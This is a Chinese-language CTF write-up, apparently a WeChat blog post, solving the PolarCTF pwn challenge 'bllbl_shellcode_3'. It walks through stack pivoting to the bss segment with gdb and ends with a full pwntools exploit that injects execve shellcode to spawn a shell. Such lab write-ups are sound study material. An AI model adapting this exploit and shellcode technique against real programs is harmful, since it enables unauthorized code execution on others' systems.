欢迎师傅关注公众号夜风Sec
,不定时分享学习记录和各种工具,与师傅共同进步 : )
附件资源
网盘链接:https://pan.quark.cn/s/08bfa4d28af
官方网站:https://polarctf.com/#/page/challenges
Polarctf - bllbl_shellcode_3
文件分析
64位程序、没有保护,存在RWX段
IDA分析
有溢出、有binsh字符串、还给了一个汇编jmp rsp
跟进jmp rsp, 发现上面还有一个 sub rsp,17h
bss段可执行
思路:栈迁移+shellcode,通过read函数将shellcode写入到bss段,然后将栈迁移到shellcode处执行
binsh_addr = 0x040201d# binsh字符串地址
jmp_rsp_0x17 = 0x0401342# sub rsp,17h; jmp rsp;
leave_ret = 0x040128b# 栈迁移需要
readbss = 0x00401312# rax = rbp-8; read(0, rbp-8, 0x20)
bss_addr = 0x04040A0# 写入shellcode的bss地址
gdb
通过gdb确定溢出
padding = 16
通过gdb调试栈迁移
通过这个readbss的地址的汇编发现:read(0, rbp+buf, 0x20);
所以构造:b*8 + bss_addr(rbp) + readbss(ret) + leave_ret(栈迁移)
gdb调试
payload1 = b'a'*8 + p64(bss_addr) + p64(readbss) + p64(leave_ret) # 此时rbp为bss的地址 加一个 leave_ret
gdb.attach(io, "b *0x401332")
io.send(payload1)
pause()
rbp被我们覆盖为bss的地址
可以看到read函数写入的地址是 0x404098 => 0x04040A0(rbp)-8
最后跳转到了 0x4040a8 位置 继续执行
发现这里 相差 0x4040a8 - 0x404098 = 16 个字节
然后就是read函数 我们写入shellcode,但在写入之前要确定rsp与0x404098的距离
shellcode = b'a'*16
gdb.attach(io, "b *0x0401312")
io.sendline(shellcode)
pause()
我们下的断点是发送完shellcode之后,此时rbp=0x4040a0
然后是read函数里的 leave ret => 最后rsp=0x4040a8
然后执行我们构造的leave ret => rsp=0x4040b0
0x4040b0 - 0x404098 = 0x18
而jmp_rsp_0x17 = 0x0401342 # sub rsp,17h; jmp rsp;
0x4040b0 - 0x17 = 0x404099
所以构造shellcode需要先nop;一下 且长度要够16字节 -> 以便执行 sub rsp,17h
shellcode = asm("nop;")
shellcode += asm("""
mov al,0x3b
mov esi,edi
mov edi,0x40201d
mov edx,esi
syscall
""")
shellcode += asm("nop;nop")
shellcode += p64(jmp_rsp_0x10)
print("Shellcode长度: ",len(shellcode))
gdb.attach(io, "b *0x0401312")
io.sendline(shellcode)
pause()
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./shellcode3')
# io = remote('1.95.36.136', 2096)
elf = ELF('./shellcode3')
binsh_addr = 0x040201d
jmp_rsp_0x10 = 0x0401342
leave_ret = 0x040128b
readbss = 0x00401312# rax = rbp-8; read(0, rbp-8, 0x20)
bss_addr = 0x04040A0
# 栈迁移
payload1 = b'a'*8 + p64(bss_addr) + p64(readbss) + p64(leave_ret) # 此时rbp为bss的地址 加一个 leave_ret
# gdb.attach(io, "b *0x0401312")
io.send(payload1)
# pause()
# rdi rsi rdx
shellcode = asm("nop;")
shellcode += asm("""
mov al,0x3b
mov esi,edi
mov edi,0x40201d
mov edx,esi
syscall
""")
shellcode += asm("nop;nop")
shellcode += p64(jmp_rsp_0x10)
print("Shellcode长度: ",len(shellcode))
#gdb.attach(io, "b *0x0401312")
io.sendline(shellcode)
#pause()
io.interactive()
原文始发于微信公众号(夜风Sec):CTF - Pwn题之shellcode&栈迁移
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论